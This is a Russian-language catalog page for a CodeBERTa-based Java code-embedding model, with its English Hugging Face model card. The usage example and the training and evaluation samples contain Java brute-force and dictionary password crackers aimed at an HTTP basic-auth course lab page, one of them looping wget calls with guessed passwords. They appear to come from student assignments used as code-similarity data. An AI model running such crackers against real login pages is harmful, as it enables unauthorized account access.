/ Модель

Характеристики

Контекст
514 токенов
Параметры
96,6 млн
Архитектура
roberta · dense
Базовая модель
CodeBERTa-small-v1
Библиотека
sentence-transformers
Опубликована
23 сен 2025

SOCO-Java-codeberta-cmnrl-triplets-ep1-bs16-lr5e-05-split0.2

ЭмбеддингиТекст → embedding

Sentence Transformers на базе CodeBERTa-small-v1, дообученная для получения эмбеддингов и поиска семантически похожих фрагментов кода на Java.

105скачиваний за 30 дней0лайковвеса обновлены23 сен 2025

Бенчмарки

Как модель справилась с задачами пользователей ailist и что о ней публикуют открытые лидерборды

Тесты пользователейпока нет

Никто ещё не опубликовал тест этой модели. Соберите бенчмарк из своих задач — результат появится здесь.

  1. Добавьте модель в бенчмарк

    Вместе с другими моделями категории «Эмбеддинги» — сравнение идёт внутри одной категории.

  2. Опишите свои задачи

    Напишите запросы, при необходимости приложите файлы и эталонные ответы.

  3. Запустите и опубликуйте

    Модели ответят на каждую задачу, судья оценит ответы. Опубликованный результат появится на этой странице.

Публичные оценки

Из открытых лидербордов. Сравнивайте результаты одного теста при одинаковых условиях — отсутствие оценки не значит, что модель хуже.

В подключённых источниках результатов для этой модели пока нет.

Что умеет модель

Описание составлено по карточке модели и метаданным Hugging Face

buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs16-lr5e-05-split0.2 — модель Sentence Transformers, дообученная разработчиком buelfhood на датасете SOCO_TRAIN_java на базе huggingface/CodeBERTa-small-v1. Она преобразует текстовые фрагменты в плотные векторы размерности 768 для сравнения семантической близости; для оценки сходства используется косинусная мера. Архитектура включает RoBERTa-трансформер и усреднение токенных представлений. Модель предназначена для поиска и сопоставления фрагментов исходного кода на Java, в том числе для семантического поиска, поиска перефразировок и кластеризации. Также заявлены классификация текста и другие задачи на основе эмбеддингов.

Максимальная длина входа — 512 токенов. Модель принимает текст и выдаёт векторные представления; она не генерирует текст. Репозиторий содержит веса в формате safetensors и использует библиотеку sentence-transformers. Лицензия в предоставленных данных не указана, поэтому условия использования по ним определить нельзя.

Сценарии применения

  • семантический поиск по исходному коду на Java
  • поиск похожих фрагментов кода
  • сопоставление описаний задач с кодом
  • поиск перефразированных текстовых запросов
  • кластеризация фрагментов кода

Ограничения

Максимальная длина входной последовательности составляет 512 токенов. Модель выдаёт эмбеддинги для последующей обработки и сама не генерирует ответы или код; лицензия не приведена в доступных данных.

Карточка модели

README от автора на Hugging Face, как он его опубликовал

Открыть на Hugging Face

SentenceTransformer based on huggingface/CodeBERTa-small-v1

This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1 on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

Model Sources

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs16-lr5e-05-split0.2")
# Run inference
sentences = [
    '\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n   private final static char base64Array [] = {\n          \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n          \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n          \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n          \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n          \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n          \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n          \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n          \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n     };\n\n   public static String encode (String string)\n   {\n      String encodedString = "";\n      byte bytes [] = string.getBytes ();\n      int i = 0;\n      int pad = 0;\n      while (i < bytes.length)\n      {\n         byte b1 = bytes [i++];\n         byte b2;\n         byte b3;\n         if (i >= bytes.length)\n         {\n            b2 = 0;\n            b3 = 0;\n            pad = 2;\n         }\n         else\n         {\n            b2 = bytes [i++];\n            if (i >= bytes.length)\n            {\n               b3 = 0;\n               pad = 1;\n            }\n            else\n               b3 = bytes [i++];\n         }\n\n         byte c1 = (byte)(b1 >> 2);\n         byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n         byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n         byte c4 = (byte)(b3 & 0x3f);\n         encodedString += base64Array [c1];\n         encodedString += base64Array [c2];\n         switch (pad)\n         {\n            case 0:\n               encodedString += base64Array [c3];\n               encodedString += base64Array [c4];\n               break;\n            case 1:\n               encodedString += base64Array [c3];\n               encodedString += "=";\n               break;\n            case 2:\n               encodedString += "==";\n               break;\n         }\n      }\n      return encodedString;\n   }\n}\n',
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     BruteForce a = new BruteForce();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     int attempts = 0;\n     exit:\n     for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++) {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] == \' \' && pwdArray[j] != \' \') continue;\n\t\t\t\t if (pwdArray[j] == \' \' && pwdArray[k] != \' \') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\t\t\t\t attempts++;\n     \t\t\t a.doit(inp);\n  \n  \t\t\t\t if (status) {\n\t\t\t\t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t\t\t System.out.println("Number of attempts = " + attempts);\n\t\t\t\t\t break exit;\n\t\t\t \t }\n     \t\t\t inp[2] = "";\n\t\t \t }\n\t \t }\n      }\n     }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char pwdArray [] = {\n\t        \'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\',\n\t        \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \'o\', \'p\',\n\t        \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\',\n\t        \'y\', \'z\', \'A\', \'B\', \'C\', \'D\', \'E\', \'F\',\n\t        \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\', \'N\',\n\t        \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\',\n\t        \'W\', \'X\', \'Y\', \'Z\', \' \'\n  };\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    '\nimport java.io.*;\nimport java.awt.*;\nimport java.net.*;\n\npublic class BruteForce\n{\n\tpublic static void main (String[] args)\n\t{\n\t\tString pw = new String();\n\t\tpw = getPassword ();\n\t\tSystem.out.println("Password is: "+pw);\n\t}\n\tpublic static String getPassword()\n\t{\n\t\tString passWord = new String();\n\t\tpassWord = "AAA";\n\t\tchar[] guess = passWord.toCharArray();\n\t\tProcess pro = null;\n\t\tRuntime runtime = Runtime.getRuntime();\n\t\tBufferedReader in = null;\n\t\tString str=null;\n\t\tboolean found = true;\n\n\t\tSystem.out.println(" attacking.....");\n\t\tfor (int i=65;i<=122 ;i++ )\n\t\t{\n\t\t\tguess[0]=(char)(i);\n            for (int j=65;j<=122 ;j++ )\n\t\t\t{\n\t\t\t\tguess[1]=(char)(j);\n                for (int k=65 ;k<=122 ;k++ )\n\t\t\t\t{\n\t\t\t\t\tguess[2]=(char)(k);\n\t\t\t\t\tpassWord = new String(guess);\n\t\t\t\t\tString cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";\n\t\t\t\t\ttry\n\t\t\t\t\t{\n\t\t\t\t\t\tpro = runtime.exec(cmd);\n\n\t\t\t\t\t\tin = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\t\t\t\t\t\tfound = true;\n\t\t\t\t\t\tif((str=in.readLine())!=null)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\twhile ((str=in.readLine())!=null)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (found == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treturn passWord;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcatch (Exception exception)\n\t\t\t\t\t{\n\t\t\t\t\t    exception.getMessage();\n\t\t\t\t\t}\n\t\t\t\t\tif(k==90)\n\t\t\t\t\t\tk=96;\n\t\t\t\t\truntime.gc();\n\t\t\t\t}\n\t\t\t\tif(j==90)\n\t\t\t\t\tj=96;\n\t\t\t}\n\t\t\tif(i==90)\n\t\t\t\ti=96;\n\t\t}\n\t\treturn "not found";\n\t}\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8644, 0.1234],
#         [0.8644, 1.0000, 0.0765],
#         [0.1234, 0.0765, 1.0000]])

Training Details

Training Dataset

soco_train_java

  • Dataset: soco_train_java at 44ca4ff
  • Size: 34,368 training samples
  • Columns: anchor_code, positive_code, and negative_code
  • Approximate statistics based on the first 1000 samples:
    anchor_codepositive_codenegative_code
    typestringstringstring
    detailsmin: 51 tokensmean: 465.94 tokensmax: 512 tokensmin: 51 tokensmean: 466.25 tokensmax: 512 tokensmin: 51 tokensmean: 458.71 tokensmax: 512 tokens
  • Samples:
    anchor_codepositive_codenegative_code
    import java.util.;import java.io.;public class WatchDog { public WatchDog() { } public static void main(String args[]) { DataInputStream newin; try{ System.out.println("Downloading first copy"); Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html"); String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"}; String[] cmdMail = {"//sh", "-c", "mailx -s "Diffrence" "@cs.rmit.edu." < Diff.txt"}; while(true){ Thread.sleep(246060*1000); System.out.println("Downloading new copy"); Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html"); Thread.sleep(2000); Runtime.getRuntime().exec(cmdDiff); Thread.sleep(2000); newin = new DataInputStream( new FileInputStream( "Diff.txt")); if (newin.readLine() != null){ System.out.println("Sending Mail"); ...import java.util.;import java.io.;import javax.swing.text.html.;public class WatchDog { public WatchDog() { } public static void main (String args[]) { DataInputStream newin; try{ System.out.println("ishti"); System.out.println("Downloading first copy"); Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html"); String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"}; String[] cmdMail = {"//sh", "-c", "mailx -s "Diffrence" "@cs.rmit.edu." < Diff.txt"}; while(true){ Thread.sleep(2460601000); System.out.println("Downloading new copy"); Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html"); Thread.sleep(2000); Runtime.getRuntime().exec(cmdDiff); Thread.sleep(2000); newin = new DataInputStream( new FileInputStream( "Diff.txt")); if (newin.readLine() ...import java.net.;import java.io.;import java.util.*;public class BruteForce{ private static URL location; private static String user; private BufferedReader input; private char [] password = {'A', 'A', 'A'}; private int noLetters = 3; public BruteForce() { Authenticator.setDefault(new MyAuthenticator ()); startTime = System.currentTimeMillis(); boolean passwordMatched = false; while (!passwordMatched) { try { input = new BufferedReader(new InputStreamReader(location.openStream())); String line = input.readLine(); while (line != null) { System.out.println(line); line = input.readLine(); } input.close(); passwordMatched = true; } catch (ProtocolException e) { } catch (ConnectException e) { System.out.println("Failed connect"); } catch (IOException e)...
    import java.util.;import java.net.;import java.io.*;public class BruteForce{ boolean connected = false; int counter; String[] chars = {"a","b","c","d","e","f","g","h", "i","j","k","l","m","n","o","p", "q","r","s","t","u","v","w","x", "y","z","A","B","C","D","E","F", "G","H","I","J","K","L","M","N", "O","P","Q","R","S","T","U","V", "W","X","Y","Z"}; Vector combinations = new Vector(); BruteForce() { counter = 0; this.genCombinations(); this.startAttack(); } public void startAttack() { while(counter<this.combinations.size()) { connected = sendRequest(); if(connected == true) { System.out.print("The password is: "); System.out.println((String)combinations.elementAt(counter-1)); counter = combinations.size(...import java.util.;import java.net.;import java.io.*; public class Dictionary{ boolean connected = false; int counter; Vector words = new Vector(); Dictionary() { counter = 0; this.readWords(); this.startAttack(); } public void startAttack() { while(counter<this.words.size()) { connected = sendRequest(); if(connected == true) { System.out.print("The password is: "); System.out.println((String)words.elementAt(counter-1)); counter = words.size(); } } } public void readWords() { String line; try { BufferedReader buffer = new BufferedReader( new FileReader("/usr/share/lib/dict/words")); line = buffer.readLine(); while(line != null) { if(line.length() <= 3) ...import java.net.;import java.io.;public class BruteForce{ public BruteForce(String u,String uname) throws Exception { String pass=""; try { String []chr={"a","b","c","d","e","f","g","h","i","j", "k","l","m","n","o","p","q","r","s","t", "u","v","w","x","y","z","A","B","C","D", "E","F","G","H","I","J","K","L","M","N", "O","P","Q","R","S","T","U","V","W","X","Y","Z"}; URL url=new URL(u); PasswordAuthentication pa; MyAuthenticator =new MyAuthenticator(); HttpURLConnection h; int c=0; for(int i=1;i<=52;i++) { c++; pass=""+chr[i-1]; pa=new PasswordAuthentication(uname,pass.toCharArray()); h.setPasswordAuthentication(pa); Authenticator.setDefault(); h=(HttpURLConnection)url.openConnection(); h.setRequestProperty("user-pass",URLEncoder.encode(":"+pass));System.out.println("Try :"+chr(c)+" password:("+pass+") response message: ("+h.getResponseMessage()+")"); if(h.getResponseCode() != 401) throw...
    import java.net.;import java.io.;import java.;import java.Runtime.;import java.Object.;import java.util.;import java.util.StringTokenizer;public class ReadFile{ private StringTokenizer tokenizer; private BufferedReader bf; private String line; private String first; Vector in = new Vector(); public void loadFile()throws NoSuchElementException, IOException { System.out.println("in loadFile"); try{ bf = new BufferedReader(new FileReader("words")); } catch(FileNotFoundException fe){} catch(IOException io){} while((line = bf.readLine())!=null) { int index = 0; tokenizer = new StringTokenizer(line); try { first = tokenizer.nextToken(); if (first.length() == 3) { in.add(first); } } catch(NoSuchElementException n) { System.out.println("File Loaded Succesfully"); } } } public Vector getVector() { return in;...import java.net.;import java.io.;import java.;import java.Runtime.;import java.Object.;import java.util.;import java.util.StringTokenizer;public class makePasswords{ public String [ ] alphabet1 = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}; public String [ ] alphabet2 = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}; public String [ ] alphabet3 = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", ...package java.httputils;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.BufferedReader;import java.io.FileInputStream;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.FileReader;import java.io.IOException;import java.io.OutputStream;public class WatchDog{ protected final int MILLIS_IN_HOUR = (60 * 60 * 1000); protected int interval = 24; protected String URL = "http://www.cs.rmit.edu./students/"; protected String fileName = "WatchDogContent.html"; protected String command = "./alert_mail.sh"; protected String savedContent; protected String retrievedContent; public WatchDog() { super(); } public void run() throws Exception { HttpRequestClient client = null; System.out.println(getClass().getName() + "Retrieving baseline copy of: " + getURL()); client = new HttpRequestClie...
  • Loss: CachedMultipleNegativesRankingLoss with these parameters:
    {
        "scale": 20.0,
        "similarity_fct": "cos_sim",
        "mini_batch_size": 32,
        "gather_across_devices": false
    }
    

Evaluation Dataset

soco_train_java

  • Dataset: soco_train_java at 44ca4ff
  • Size: 8,592 evaluation samples
  • Columns: anchor_code, positive_code, and negative_code
  • Approximate statistics based on the first 1000 samples:
    anchor_codepositive_codenegative_code
    typestringstringstring
    detailsmin: 51 tokensmean: 465.22 tokensmax: 512 tokensmin: 51 tokensmean: 464.66 tokensmax: 512 tokensmin: 51 tokensmean: 458.05 tokensmax: 512 tokens
  • Samples:
    anchor_codepositive_codenegative_code
    import java.util.;import java.io.;public class WatchDog{ public static void main(String args[]) { Runtime rt1 = Runtime.getRuntime(); Process prss1= null; try { prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/"); }catch(java.io.IOException e){} MyWatchDogTimer w = new MyWatchDogTimer(); Timer time = new Timer(); time.schedule(w,864000000,864000000); }} import java.util.;import java.io.;public class MyTimer{ public static void main(String args[]) { Watchdog watch = new Watchdog(); Timer time = new Timer(); time.schedule(watch,864000000,864000000); }}import java.net.; import java.io.; import java.util.Vector;import java.util.Date;import java.security.; public class Dictionary { public static BufferedReader in; public static void main(String[] args) throws Exception { String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; int count=0; Date date = new Date(); startTime=date.getTime(); int LIMITINMINUTES=45; int TIMELIMIT=LIMITINMINUTES1000*60; boolean timedOut=false; boolean found=false; Vector dictionary=new Vector(readWords()); System.out.println("Words in dictionary: "+dictionary.size()); while (found==false && timedOut==false && dictionary.elementAt(count)!=null) { Date endDate = new Date(); endTime=endDate.getTime(); if (endTime>(TIMELIMIT+startTime)){ System.out.println("Timed out"); timedOut=true; } String password = ""; ...
    import java.io.InputStream;import java.util.Properties;import javax.naming.Context;import javax.naming.InitialContext;import javax.rmi.PortableRemoteObject;import javax.sql.DataSource;public class MailsendPropertyHelper { private static Properties testProps; public MailsendPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties"); testProps.load(fis); } }}import java.io.InputStream;import java.util.Properties;import javax.naming.Context;import javax.naming.InitialContext;import javax.rmi.PortableRemoteObject;import javax.sql.DataSource;public class BruteForcePropertyHelper { private static Properties bruteForceProps; public BruteForcePropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the burteforce Props"); e.printStackTrace(); } return bruteForceProps.getProperty(pKey); } private static void initProps() throws Exception{ if(bruteForceProps == null){ bruteForceProps = new Properties(); InputStream fis = BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties"); bruteForceProps.load(fis); } }}import java.net.;import java.io.;import java.Ostermiller.util.;import java.util.;public class MyClient2 implements Runnable{ private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private BruteForce myMaster; public MyClient2(BruteForce bf , int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; ...
    import java.io.;import java.net.;import java.util.*;public class Dictionary{ public static void main (String args[]) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double startTime = now.getTime(); String password=getPassword(startTime); System.out.println("The password is " + password); } public static String getPassword(double startTime) { String password=""; int requests=0; try { FileReader fRead = new FileReader("/usr/share/lib/dict/words"); BufferedReader buf = new BufferedReader(fRead); password=buf.readLine(); while (password != null) { if (password.length()<=3) { requests++; if (testPassword(password, startTime, requests)) return password; } password = buf.readLine(); } } catch (IOException ioe) { } return password; } private static boolean testPassword(String password, double startTime, int requests) { try { U...import java.io.;import java.net.;import java.util.*;public class BruteForce{ public static void main(String args[]) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double startTime = now.getTime(); String password=getPassword(startTime); System.out.println("The password is " + password); } public static String getPassword(double startTime) { char first, second, third; String password=""; int requests=0; for (int i=65; i<123; i++) { requests++; first = (char) i; password = first + ""; if (testPassword(password, startTime, requests)) return password; for (int j=65; j<123; j++) { requests++; second = (char) j; password = first + "" + second; if (testPassword(password, startTime, requests)) return password; for (int k=65; k<123; k++) { requests++; third = (char) k; password = first + "" + second + "" + third; if (test...import java.misc.BASE64Encoder;import java.misc.BASE64Decoder;import java.io.;import java.net.;import java.util.*;public class Dictionary { public Dictionary(String url, String dictionaryFile) { try{ this.url = url; this.dictionaryPath = dictionaryFile; InputStream fis = new FileInputStream(this.dictionaryPath); dict = new BufferedReader(new InputStreamReader(fis)); }catch(IOException ioe){ System.out.println("Error opening dictionary file:\n" +ioe); } } private String url = null; private String dictionaryPath = null; private BufferedReader dict = null; private int attempts = 0; private int passwordSize = 3; public void setPasswordSize(int size){ this.passwordSize = size; } public String getNextPassword()throws IOException{ String line = dict.readLine(); while(line!=null&&line.length()!=this.passwordSize ) line = dict.readLine(); return line; } publ...
  • Loss: CachedMultipleNegativesRankingLoss with these parameters:
    {
        "scale": 20.0,
        "similarity_fct": "cos_sim",
        "mini_batch_size": 32,
        "gather_across_devices": false
    }
    

Training Hyperparameters

Non-Default Hyperparameters

  • per_device_train_batch_size: 16
  • num_train_epochs: 1
  • warmup_ratio: 0.1
  • fp16: True
  • batch_sampler: no_duplicates

All Hyperparameters

  • overwrite_output_dir: False
  • do_predict: False
  • eval_strategy: no
  • prediction_loss_only: True
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 8
  • per_gpu_train_batch_size: None
  • per_gpu_eval_batch_size: None
  • gradient_accumulation_steps: 1
  • eval_accumulation_steps: None
  • torch_empty_cache_steps: None
  • learning_rate: 5e-05
  • weight_decay: 0.0
  • adam_beta1: 0.9
  • adam_beta2: 0.999
  • adam_epsilon: 1e-08
  • max_grad_norm: 1.0
  • num_train_epochs: 1
  • max_steps: -1
  • lr_scheduler_type: linear
  • lr_scheduler_kwargs: {}
  • warmup_ratio: 0.1
  • warmup_steps: 0
  • log_level: passive
  • log_level_replica: warning
  • log_on_each_node: True
  • logging_nan_inf_filter: True
  • save_safetensors: True
  • save_on_each_node: False
  • save_only_model: False
  • restore_callback_states_from_checkpoint: False
  • no_cuda: False
  • use_cpu: False
  • use_mps_device: False
  • seed: 42
  • data_seed: None
  • jit_mode_eval: False
  • use_ipex: False
  • bf16: False
  • fp16: True
  • fp16_opt_level: O1
  • half_precision_backend: auto
  • bf16_full_eval: False
  • fp16_full_eval: False
  • tf32: None
  • local_rank: 0
  • ddp_backend: None
  • tpu_num_cores: None
  • tpu_metrics_debug: False
  • debug: []
  • dataloader_drop_last: False
  • dataloader_num_workers: 0
  • dataloader_prefetch_factor: None
  • past_index: -1
  • disable_tqdm: False
  • remove_unused_columns: True
  • label_names: None
  • load_best_model_at_end: False
  • ignore_data_skip: False
  • fsdp: []
  • fsdp_min_num_params: 0
  • fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
  • fsdp_transformer_layer_cls_to_wrap: None
  • accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
  • parallelism_config: None
  • deepspeed: None
  • label_smoothing_factor: 0.0
  • optim: adamw_torch_fused
  • optim_args: None
  • adafactor: False
  • group_by_length: False
  • length_column_name: length
  • ddp_find_unused_parameters: None
  • ddp_bucket_cap_mb: None
  • ddp_broadcast_buffers: False
  • dataloader_pin_memory: True
  • dataloader_persistent_workers: False
  • skip_memory_metrics: True
  • use_legacy_prediction_loop: False
  • push_to_hub: False
  • resume_from_checkpoint: None
  • hub_model_id: None
  • hub_strategy: every_save
  • hub_private_repo: None
  • hub_always_push: False
  • hub_revision: None
  • gradient_checkpointing: False
  • gradient_checkpointing_kwargs: None
  • include_inputs_for_metrics: False
  • include_for_metrics: []
  • eval_do_concat_batches: True
  • fp16_backend: auto
  • push_to_hub_model_id: None
  • push_to_hub_organization: None
  • mp_parameters:
  • auto_find_batch_size: False
  • full_determinism: False
  • torchdynamo: None
  • ray_scope: last
  • ddp_timeout: 1800
  • torch_compile: False
  • torch_compile_backend: None
  • torch_compile_mode: None
  • include_tokens_per_second: False
  • include_num_input_tokens_seen: False
  • neftune_noise_alpha: None
  • optim_target_modules: None
  • batch_eval_metrics: False
  • eval_on_start: False
  • use_liger_kernel: False
  • liger_kernel_config: None
  • eval_use_gather_object: False
  • average_tokens_across_devices: False
  • prompts: None
  • batch_sampler: no_duplicates
  • multi_dataset_batch_sampler: proportional
  • router_mapping: {}
  • learning_rate_mapping: {}

Training Logs

EpochStepTraining Loss
0.04661000.9559
0.09312000.3877
0.13973000.386
0.18624000.3535
0.23285000.3314
0.27936000.3485
0.32597000.3315
0.37248000.3425
0.41909000.3402
0.465510000.3406
0.512111000.3271
0.558712000.3356
0.605213000.3164
0.651814000.3122
0.698315000.3119
0.744916000.3124
0.791417000.3
0.838018000.2786
0.884519000.3148
0.931120000.283
0.977721000.297

Framework Versions

  • Python: 3.11.11
  • Sentence Transformers: 5.1.1
  • Transformers: 4.56.2
  • PyTorch: 2.8.0.dev20250319+cu128
  • Accelerate: 1.10.1
  • Datasets: 4.1.1
  • Tokenizers: 0.22.1

Citation

BibTeX

Sentence Transformers

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

CachedMultipleNegativesRankingLoss

@misc{gao2021scaling,
    title={Scaling Deep Contrastive Learning Batch Size under Memory Limited Setup},
    author={Luyu Gao and Yunyi Zhang and Jiawei Han and Jamie Callan},
    year={2021},
    eprint={2101.06983},
    archivePrefix={arXiv},
    primaryClass={cs.LG}
}

Как запустить

На своей GPU в ailist. Цена — по текущим предложениям провайдеров

GPU в ailist

Универсальный рантайм · sentence-transformers

Можно запустить

Подбираем GPU…

Класс архитектуры
RobertaModel
Ревизия весов
